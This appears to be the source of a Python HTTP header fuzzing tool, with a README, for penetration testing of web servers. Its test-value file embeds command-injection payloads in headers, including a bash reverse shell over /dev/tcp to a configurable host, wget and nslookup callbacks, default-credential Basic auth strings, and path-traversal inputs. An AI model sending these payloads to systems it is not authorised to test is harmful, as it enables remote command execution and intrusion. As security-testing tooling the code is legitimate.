├── Http-Header-Fuzzer ├── config.py ├── http_header_fuzzer.py ├── http_header_helpers.py ├── http_header_test_values.py └── http_header_tests.py └── README.md /Http-Header-Fuzzer/config.py: -------------------------------------------------------------------------------- 1 | ''' This file affects command injection tests as called in http_header_test_values.py 2 | and used in http_header_fuzzer.py. Leaving the values as default probably won't 3 | help you determine whether command injection is possible. 4 | ''' 5 | 6 | # Enter the IP address where you have a sniffer or can review logs of 7 | # incoming connections 8 | IP_ADDRESS = '' # If empty, will default to 127.0.0.1 9 | 10 | # Enter the port you would like to attempt to send TCP requests 11 | # to via WGET and /dev/tcp 12 | PORT = '' # If empty, will default to 80 13 | 14 | # Enter the domain name where you can access logs to see if 15 | # anyone tries to resolve .example.com 16 | DOMAIN_NAME = '' # If empty, will default to laconicwolf.com 17 | -------------------------------------------------------------------------------- /Http-Header-Fuzzer/http_header_fuzzer.py: -------------------------------------------------------------------------------- 1 | from sys import version 2 | try: 3 | from queue import Queue 4 | except ImportError as error: 5 | missing_module = str(error).split(' ')[-1] 6 | print('\nMissing module: {}'.format(missing_module)) 7 | if not version.startswith('3'): 8 | print('\nThis script has only been tested with Python3. If using another version and encounter an error, try using Python3\n') 9 | try: 10 | import requests 11 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 12 | except ImportError as error: 13 | missing_module = str(error).split(' ')[-1] 14 | print('\nMissing module: {}'.format(missing_module)) 15 | print('Try running "pip install {}", or do an Internet search for installation instructions.'.format(missing_module.strip("'"))) 16 | exit() 17 | import re 18 | import argparse 19 | import os 20 | import threading 21 | from time import sleep 22 | from http_header_test_values import * 23 | from http_header_tests import * 24 | from http_header_helpers import * 25 | 26 | if not version.startswith('3'): 27 | print('\nThis script has only been tested with Python3. If using another version and encounter an error, try using Python3\n') 28 | sleep(3) 29 | 30 | 31 | __author__ = 'Jake Miller (@LaconicWolf)' 32 | __date__ = '20180408' 33 | __version__ = '0.01' 34 | __description__ = '''Multithreaded website scanner that fuzzes HTTP 35 | headers. 36 | ''' 37 | 38 | 39 | def make_request(url, header=None, header_value=None): 40 | ''' Builds a requests object, makes a request, and returns 41 | a response object. 42 | ''' 43 | s = requests.Session() 44 | 45 | if not header == "User-Agent": 46 | s.headers['User-Agent'] = get_random_useragent() 47 | 48 | s.headers[header] = header_value 49 | 50 | if args.credentials: 51 | if 'authorization' in args.credentials.lower() and header != 'Authorization': 52 | cred_type = credentials.split(':')[0] 53 | cred_value = credentials.split(':')[1].lstrip() 54 | s.headers[cred_type] = cred_value 55 | elif args.credentials.lower().startswith('cookie:'): 56 | creds = args.credentials[7:].lstrip() 57 | cookies = creds.split(';') 58 | for cookie in cookies: 59 | cookie_name = cookie.split('=')[0] 60 | cookie_value = '='.join(cookie.split('=')[1:]).lstrip() 61 | s.cookies[cookie_name] = cookie_value 62 | 63 | 64 | if args.proxy: 65 | s.proxies['http'] = args.proxy 66 | s.proxies['https'] = args.proxy 67 | 68 | resp = s.get(url, verify=False, timeout=int(args.timeout)) 69 | return resp 70 | 71 | 72 | def scanner_controller(url): 73 | ''' Controls most of the logic for the script. Accepts a URL and calls 74 | various functions to make requests and prints output to the terminal. 75 | Returns nothing, but adds data to the data variable, which can be used 76 | to print to a file. 77 | ''' 78 | global data 79 | for test in tests_to_run: 80 | with print_lock: 81 | print('\n[*] Running {} tests...'.format(test)) 82 | for header in headers_to_fuzz: 83 | try: 84 | header_values = get_header_values(test, header) 85 | except Exception as e: 86 | continue 87 | if args.verbose: 88 | with print_lock: 89 | print('\n[*] Fuzzing {} header at {}'.format(header, url)) 90 | for header_value in header_values: 91 | request_data = [] 92 | try: 93 | resp = make_request(url, header, header_value) 94 | except Exception as e: 95 | if args.verbose: 96 | with print_lock: 97 | print('[-] Unable to connect to site: {}'.format(url)) 98 | print('[*] {}'.format(e)) 99 | continue 100 | 101 | status_code, length, reflection = test_headers(url, test, resp, header, header_value) 102 | does_reflect = 'True' if reflection else 'False' 103 | printable_header_value = header_value if len(header_value) < 80 else header_value[:80] + '...' 104 | response_time = str(resp.elapsed.total_seconds()) 105 | if args.verbose: 106 | with print_lock: 107 | print('\n[+] URL: {}'.format(url)) 108 | print(' Test: {}'.format(test)) 109 | print(' Header: {}'.format(header)) 110 | print(' Value: {}'.format(printable_header_value)) 111 | if len(header_value) > 50: 112 | print(' Value length: {} characters'.format(len(header_value))) 113 | print(' Status Code: {}'.format(status_code)) 114 | print(' Response Length: {}'.format(length)) 115 | print(' Response Time: {}'.format(response_time)) 116 | print(' Reflected in response: {}'.format(does_reflect)) 117 | 118 | if reflection: 119 | if type(reflection) == list: 120 | if len(reflection) < 10: 121 | reflection = '\n'.join(reflection) 122 | elif len(reflection) < 10: 123 | reflection = "The value of the header reflected {} times. Probable false positive." 124 | else: 125 | reflection = reflection[0] 126 | else: 127 | reflection = '' 128 | request_data.extend((url, test, header, header_value, status_code, length, response_time, does_reflect, reflection)) 129 | data.append(request_data) 130 | 131 | 132 | def process_queue(): 133 | ''' processes the url queue and calls the scanner controller function 134 | ''' 135 | while True: 136 | current_url = url_queue.get() 137 | scanner_controller(current_url) 138 | url_queue.task_done() 139 | 140 | 141 | def main(): 142 | ''' Normalizes the URLs and starts multithreading 143 | ''' 144 | processed_urls = normalize_urls(urls) 145 | 146 | for i in range(args.threads): 147 | t = threading.Thread(target=process_queue) 148 | t.daemon = True 149 | t.start() 150 | 151 | for current_url in processed_urls: 152 | url_queue.put(current_url) 153 | 154 | url_queue.join() 155 | 156 | if args.csv: 157 | parse_to_csv(data, csv_name) 158 | 159 | 160 | if __name__ == '__main__': 161 | parser = argparse.ArgumentParser() 162 | parser.add_argument("-v", "--verbose", help="Increase output verbosity", action="store_true") 163 | parser.add_argument("-ah", "--all_headers", help="Fuzz all headers", action="store_true") 164 | parser.add_argument("-at", "--all_tests", help="Run all tests", action="store_true") 165 | parser.add_argument("-uf", "--url_file", help="Specify a file containing urls formatted http(s)://addr:port.") 166 | parser.add_argument("-rt", "--reflection_test", help="Test if header values appear in HTTP response", action="store_true") 167 | parser.add_argument("-lt", "--length_test", help="Test how the length of a header value affects the HTTP response", action="store_true") 168 | parser.add_argument("-aut", "--authorization_test", help="Test how a header value handles different IP addresses affects the HTTP response", action="store_true") 169 | parser.add_argument("-et", "--error_tests", help="Test how the application handles special characters as header values.", action="store_true") 170 | parser.add_argument("-ct", "--command_injection_tests", help="Test how the application handles commands as header values.", action="store_true") 171 | parser.add_argument("-hh", "--host_header", help="Fuzz the host header.", action="store_true") 172 | parser.add_argument("-auh", "--authorization_header", help="Fuzz the authorization header.", action="store_true") 173 | parser.add_argument("-uah", "--user_agent_header", help="Fuzz the user agent header.", action="store_true") 174 | parser.add_argument("-conh", "--connection_header", help="Fuzz the user Connection header.", action="store_true") 175 | parser.add_argument("-f", "--forwarded_header", help="Fuzz the Forwarded header", action="store_true") 176 | parser.add_argument("-xffh", "--x_forwarded_for_header", help="Fuzz the X-Forwarded-For header", action="store_true") 177 | parser.add_argument("-fr", "--from_header", help="Fuzz the from header", action="store_true") 178 | parser.add_argument("-r", "--referer_header", help="Fuzz the Referer header", action="store_true") 179 | parser.add_argument("-pr", "--proxy", help="Specify a proxy to use (-p 127.0.0.1:8080)") 180 | parser.add_argument("-c", "--credentials", help='Specify credentials to submit. Must be quoted. Example: -c "Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==". Example: -c "Cookie: SESS=Aid8eUje8&3jdolapf"') 181 | parser.add_argument("-t", "--threads", nargs="?", type=int, default=5, help="Specify number of threads (default=5)") 182 | parser.add_argument("-to", "--timeout", nargs="?", type=int, default=10, help="Specify number of seconds until a connection timeout (default=5)") 183 | parser.add_argument("-csv", "--csv", nargs='?', const='http_header_fuzzing_results.csv', help="Specify the name of a csv file to write to. If the file already exists it will be appended") 184 | args = parser.parse_args() 185 | 186 | if not args.url_file: 187 | parser.print_help() 188 | print("\n [-] Please specify an input file containing URLs. Use -uf to specify the file\n") 189 | exit() 190 | 191 | if args.url_file: 192 | urlfile = args.url_file 193 | if not os.path.exists(urlfile): 194 | print("\n [-] The file cannot be found or you do not have permission to open the file. Please check the path and try again\n") 195 | exit() 196 | urls = open(urlfile).read().splitlines() 197 | 198 | if not args.all_headers and not args.host_header and not args.user_agent_header\ 199 | and not args.forwarded_header and not args.from_header and not args.referer_header \ 200 | and not args.connection_header and not args.x_forwarded_for_header and not args.from_header \ 201 | and not args.authorization_header: 202 | parser.print_help() 203 | print("\n [-] Please specify header(s) and test(s). Use -ah to test all headers and at to run all tests.\n") 204 | exit() 205 | 206 | # Initialize the headers to be tested 207 | headers_to_fuzz = [] 208 | if args.all_headers or args.host_header: 209 | headers_to_fuzz.append('Host') 210 | if args.all_headers or args.user_agent_header: 211 | headers_to_fuzz.append('User-Agent') 212 | if args.all_headers or args.forwarded_header: 213 | headers_to_fuzz.append('Forwarded') 214 | if args.all_headers or args.x_forwarded_for_header: 215 | headers_to_fuzz.append('X-Forwarded-For') 216 | if args.all_headers or args.from_header: 217 | headers_to_fuzz.append('From') 218 | if args.all_headers or args.referer_header: 219 | headers_to_fuzz.append('Referer') 220 | if args.all_headers or args.connection_header: 221 | headers_to_fuzz.append('Connection') 222 | if args.all_headers or args.authorization_header: 223 | headers_to_fuzz.append('Authorization') 224 | 225 | # Initialize the tests to be run 226 | tests_to_run = [] 227 | if args.all_tests or args. reflection_test: 228 | tests_to_run.append('reflection') 229 | if args.all_tests or args.length_test: 230 | tests_to_run.append('length') 231 | if args.all_tests or args.authorization_test: 232 | tests_to_run.append('authorization') 233 | if args.all_tests or args.error_tests: 234 | tests_to_run.append('error') 235 | if args.all_tests or args.command_injection_tests: 236 | tests_to_run.append('command injection') 237 | 238 | csv_name = args.csv 239 | 240 | print() 241 | print('[*] Loaded {} URLs'.format(len(urls))) 242 | print('[*] Testing {} headers'.format(len(headers_to_fuzz))) 243 | print('[*] Running {} types of tests'.format(len(tests_to_run))) 244 | sleep(4) 245 | 246 | # To disable HTTPS related warnings 247 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 248 | 249 | print_lock = threading.Lock() 250 | url_queue = Queue() 251 | 252 | # Global variable where all data will be stored 253 | # The scanner_controller function appends data here 254 | data = [] 255 | 256 | main() 257 | -------------------------------------------------------------------------------- /Http-Header-Fuzzer/http_header_helpers.py: -------------------------------------------------------------------------------- 1 | ''' This file contains formatting or output functions used 2 | by http_header_fuzzer.py. 3 | ''' 4 | 5 | import csv 6 | import os 7 | 8 | 9 | def parse_to_csv(data, csv_name=None): 10 | ''' Takes a list of lists and outputs to a csv file. 11 | ''' 12 | csv_name = 'results.csv' if not csv_name else csv_name 13 | if not os.path.isfile(csv_name): 14 | csv_file = open(csv_name, 'w', newline='') 15 | csv_writer = csv.writer(csv_file) 16 | top_row = ['URL', 'Test Type', 'Header', 'Value', 'Status code', 'Length', 'Response Time', 'Reflection', 'Reflection context', 'Notes'] 17 | csv_writer.writerow(top_row) 18 | print('\n[+] The file {} does not exist. New file created!\n'.format(csv_name)) 19 | else: 20 | try: 21 | csv_file = open(csv_name, 'a', newline='') 22 | except PermissionError: 23 | print("\n[-] Permission denied to open the file {}. Check if the file is open and try again.\n".format(csv_name)) 24 | exit() 25 | csv_writer = csv.writer(csv_file) 26 | print('\n[+] {} exists. Appending to file!\n'.format(csv_name)) 27 | 28 | for line in data: 29 | csv_writer.writerow(line) 30 | 31 | csv_file.close() 32 | 33 | 34 | def normalize_urls(urls): 35 | ''' Accepts a list of urls and formats them so they will be accepted. 36 | Returns a new list of the processed urls. 37 | ''' 38 | url_list = [] 39 | http_port_list = ['80', '280', '81', '591', '593', '2080', '2480', '3080', 40 | '4080', '4567', '5080', '5104', '5800', '6080', 41 | '7001', '7080', '7777', '8000', '8008', '8042', '8080', 42 | '8081', '8082', '8088', '8180', '8222', '8280', '8281', 43 | '8530', '8887', '9000', '9080', '9090', '16080'] 44 | https_port_list = ['832', '981', '1311', '7002', '7021', '7023', '7025', 45 | '7777', '8333', '8531', '8888'] 46 | for url in urls: 47 | if '*.' in url: 48 | url.replace('*.', '') 49 | if not url.startswith('http'): 50 | if ':' in url: 51 | port = url.split(':')[-1] 52 | if port in http_port_list: 53 | url_list.append('http://' + url) 54 | elif port in https_port_list or port.endswith('43'): 55 | url_list.append('https://' + url) 56 | else: 57 | url = url.strip() 58 | url = url.strip('/') + '/' 59 | url_list.append('http://' + url) 60 | url_list.append('https://' + url) 61 | continue 62 | else: 63 | url = url.strip() 64 | url = url.strip('/') + '/' 65 | url_list.append('http://' + url) 66 | url_list.append('https://' + url) 67 | continue 68 | url = url.strip() 69 | url = url.strip('/') + '/' 70 | url_list.append(url) 71 | return url_list -------------------------------------------------------------------------------- /Http-Header-Fuzzer/http_header_test_values.py: -------------------------------------------------------------------------------- 1 | ''' This file contains functions that determine and return header 2 | values used by http_header_fuzzer.py. 3 | ''' 4 | 5 | import string 6 | import random 7 | from config import * 8 | 9 | 10 | def get_header_values(test, header): 11 | ''' Accepts the name of an HTTP header and returns the contents of a 12 | function containing a list of header values associated with the header 13 | name. 14 | ''' 15 | if header == 'User-Agent': 16 | return get_useragent_header_values(test) 17 | if header == 'Host': 18 | return get_host_header_values(test) 19 | if header == 'Forwarded': 20 | return get_forwarded_header_values(test) 21 | if header == 'X-Forwarded-For': 22 | return get_forwarded_header_values(test) 23 | if header == 'From': 24 | return get_host_header_values(test) 25 | if header == 'Referer': 26 | return get_referer_header_values(test) 27 | if header == 'Connection': 28 | return get_connection_header_values(test) 29 | if header == 'Authorization': 30 | return get_authorization_header_values(test) 31 | 32 | 33 | def get_random_useragent(): 34 | ''' Returns a randomly chosen User-Agent string. 35 | ''' 36 | win_edge = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246' 37 | win_firefox = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/43.0' 38 | win_chrome = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" 39 | lin_firefox = 'Mozilla/5.0 (X11; Linux i686; rv:30.0) Gecko/20100101 Firefox/42.0' 40 | mac_chrome = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.38 Safari/537.36' 41 | ie = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)' 42 | 43 | ua_dict = { 44 | 1: win_edge, 45 | 2: win_firefox, 46 | 3: win_chrome, 47 | 4: lin_firefox, 48 | 5: mac_chrome, 49 | 6: ie 50 | } 51 | rand_num = random.randrange(1, (len(ua_dict) + 1)) 52 | return ua_dict[rand_num] 53 | 54 | 55 | def get_random_string(length): 56 | ''' Returns a random string consisting of lowercase letters. 57 | ''' 58 | letters = string.ascii_lowercase 59 | return ''.join(random.choice(letters) for i in range(length)) 60 | 61 | 62 | def get_host_header_values(test): 63 | ''' Returns host headers values. 64 | ''' 65 | values = [] 66 | if test == 'reflection': 67 | random_string = get_random_string(10) 68 | values.append(random_string) 69 | if test == 'length': 70 | for i in range(0, 500, 50): 71 | random_string = get_random_string(i) 72 | values.append(random_string) 73 | if test == 'authorization': 74 | addresses = ['127.0.0.1', 'localhost', '10.10.1.1'] 75 | values += [addr for addr in addresses] 76 | if test == 'error': 77 | items = ['\'', '"', ';', '#', '\\', '}', '{', '<>', '<', '>'] 78 | values += [item for item in items] 79 | if test == 'command injection': 80 | items = command_injection_values() 81 | values += [item for item in items] 82 | return values 83 | 84 | 85 | def get_useragent_header_values(test): 86 | ''' Returns header values. 87 | ''' 88 | values = [] 89 | if test == 'reflection': 90 | random_string = get_random_string(40) 91 | values.append(random_string) 92 | if test == 'length': 93 | for i in range(50, 500, 50): 94 | random_string = get_random_string(i) 95 | values.append(random_string) 96 | if test == 'authorization': 97 | mobile_user_agents = ['Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1', 98 | 'Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36',] 99 | values += [ua for ua in mobile_user_agents] 100 | if test == 'command injection': 101 | items = command_injection_values() 102 | values += [item for item in items] 103 | return values 104 | 105 | 106 | def get_forwarded_header_values(test): 107 | ''' Returns header values. 108 | ''' 109 | values = [] 110 | if test == 'reflection': 111 | random_string = get_random_string(10) 112 | values.append('for=' + random_string) 113 | if test == 'length': 114 | for i in range(50, 500, 50): 115 | random_string = get_random_string(i) 116 | values.append(random_string) 117 | if test == 'authorization': 118 | addresses = ['127.0.0.1', 'localhost', '10.10.1.1'] 119 | values += ['for=' + addr for addr in addresses] 120 | if test == 'error': 121 | items = ['\'', '"', ';', '#', '\\', '}', '{', '<>', '<', '>'] 122 | values += [item for item in items] 123 | return values 124 | 125 | 126 | def get_X_forwarded_for_header_values(test): 127 | ''' Returns header values. 128 | ''' 129 | values = [] 130 | if test == 'reflection': 131 | random_string = get_random_string(10) 132 | values.append(random_string) 133 | if test == 'length': 134 | for i in range(50, 500, 50): 135 | random_string = get_random_string(i) 136 | values.append(random_string) 137 | if test == 'authorization': 138 | addresses = ['127.0.0.1', 'localhost', '10.10.1.1'] 139 | values += [addr for addr in addresses] 140 | if test == 'error': 141 | items = ['\'', '"', ';', '#', '\\', '}', '{', '<>', '<', '>'] 142 | values += [item for item in items] 143 | return values 144 | 145 | 146 | def get_from_header_values(test): 147 | ''' Returns header values. 148 | ''' 149 | values = [] 150 | if test == 'reflection': 151 | random_string = get_random_string(10) 152 | values.append(random_string) 153 | if test == 'length': 154 | for i in range(50, 500, 50): 155 | random_string = get_random_string(i) 156 | values.append(random_string) 157 | return values 158 | 159 | 160 | def get_connection_header_values(test): 161 | ''' Returns header values. 162 | ''' 163 | values = [] 164 | if test == 'reflection': 165 | random_string = get_random_string(10) 166 | values.append(random_string) 167 | if test == 'length': 168 | for i in range(50, 500, 50): 169 | string_val = 'A' * i 170 | values.append(string_val) 171 | if test == 'command injection': 172 | items = command_injection_values() 173 | values += [item for item in items] 174 | return values 175 | 176 | 177 | def get_referer_header_values(test): 178 | ''' Returns header values. 179 | ''' 180 | values = [] 181 | if test == 'reflection': 182 | random_string = get_random_string(10) 183 | values.append(random_string) 184 | if test == 'length': 185 | for i in range(50, 500, 50): 186 | random_string = get_random_string(i) 187 | values.append(random_string) 188 | if test == 'authorization': 189 | addresses = ['', '127.0.0.1', 'localhost', '10.10.1.1'] 190 | values += [addr for addr in addresses] 191 | if test == 'command injection': 192 | items = command_injection_values() 193 | values += [item for item in items] 194 | return values 195 | 196 | 197 | def get_authorization_header_values(test): 198 | ''' Returns header values. 199 | ''' 200 | values = [] 201 | if test == 'reflection': 202 | random_string = get_random_string(10) 203 | values.append(random_string) 204 | if test == 'length': 205 | for i in range(50, 500, 50): 206 | random_string = get_random_string(i) 207 | values.append(random_string) 208 | if test == 'authorization': 209 | auths = ['Basic YWRtaW46YWRtaW4=', 'Basic Z3Vlc3Q6Z3Vlc3Q=', 'Digest AAAA', 'Bearer AAAA'] 210 | values += [auth for auth in auths] 211 | if test == 'error': 212 | items = ['\'', '"', ';', '#', '\\', '}', '{', '<>', '<', '>', '../../', '..\\..\\'] 213 | values += [item for item in items] 214 | if test == 'command injection': 215 | items = command_injection_values() 216 | values += [item for item in items] 217 | return values 218 | 219 | 220 | def command_injection_values(): 221 | ''' Returns values dealing with command injection. 222 | ''' 223 | ip = IP_ADDRESS if IP_ADDRESS else '127.0.0.1' 224 | port = PORT if PORT else '80' 225 | domain = DOMAIN_NAME if DOMAIN_NAME else 'laconicwolf.com' 226 | random_string = get_random_string(8) 227 | values = [';ping ' + ip + ' -c 6', 228 | ';/bin/bash -i > /dev/tcp/' + ip + '/' + port + '0<&1 2>&1', 229 | ';nslookup ' + random_string + '.' + domain, 230 | ';wget http://' + ip] 231 | return values -------------------------------------------------------------------------------- /Http-Header-Fuzzer/http_header_tests.py: -------------------------------------------------------------------------------- 1 | ''' This file contains functions that determine how the HTTP 2 | responses are tested based on the test type and header value. 3 | Results are returned to http_header_fuzzer.py. 4 | ''' 5 | 6 | 7 | def get_response_length(response): 8 | return str(len(response.text)) 9 | 10 | 11 | def test_headers(url, test, resp, header, header_value): 12 | status_code = resp.status_code 13 | length = get_response_length(resp) 14 | response_list = resp.text.splitlines() 15 | reflection = [line for line in response_list if header_value in line] 16 | return status_code, length, reflection 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HTTP Header Fuzzer 2 | A multithreaded Python3 program that fuzzes HTTP headers and values and outputs the results to a CSV file. Checks HTTP responses for header reflection, HTTP response codes, attempts OS injection, uses long header values, uses special characters as header values. 3 | ## Usage 4 | Download the repository and move into the Http-Header-Fuzzer directory. 5 | ### Test all defined headers 6 | ```python3 http_header_fuzzer.py -uf -at -ah -csv ``` 7 | 8 | ### Test all headers example 9 | ```python3 http_header_fuzzer.py -v -uf urls.txt -at -ah -csv scan_results.csv``` 10 | 11 | The above command will visit each URL specified in urls.txt, and will run all tests (-at) against all headers (ah) defined in the script. The results of the script will be written to a CSV file, scan_results.csv. The verbose flag (-v) displays the results to the terminal as the requests occur. You can optionally include a threads (-t) argument (default is 5 threads) to make the scan go faster or slower. If the sites you are scanning are slow to respond, you can change the timeout options (default 5 seconds) using the -to flag (example: -to 10). 12 | ### Output 13 | I highly recommend using the ```-csv``` option to record the output. If you want to read the terminal output, you may want to slow down the scan, setting the threads (```-t```) option to a lower value (default is 5). Another option is to send the requests/responses through a proxy using the proxy option (```-pr 127.0.0.1:8080```), and let the proxy record everything. Regardless, this is what the terminal output will look like: 14 | ``` 15 | python3 http_header_fuzzer.py -v -uf urls.txt -at -ah -csv header_fuzzing.csv 16 | 17 | [*] Loaded 3 URLs 18 | [*] Testing 8 headers 19 | [*] Running 5 types of tests 20 | 21 | [*] Fuzzing Host header at https://laconicwolf.com/ 22 | 23 | [+] URL: http://laconicwolf.com/ 24 | Test: reflection 25 | Header: Host 26 | Value: wbzopktwwa 27 | Status Code: 200 28 | Response Length: 111 29 | Response Time: 0.8 30 | Header reflected in response?: False 31 | 32 | [*] Fuzzing Host header at http://laconicwolf.net/ 33 | 34 | [+] URL: http://laconicwolf.net/ 35 | Test: reflection 36 | Header: Host 37 | Value: owenirpeek 38 | Status Code: 404 39 | Response Length: 357 40 | Response Time: 1.1 41 | Header reflected in response?: True 42 | ``` 43 | --------------------------------------------------------------------------------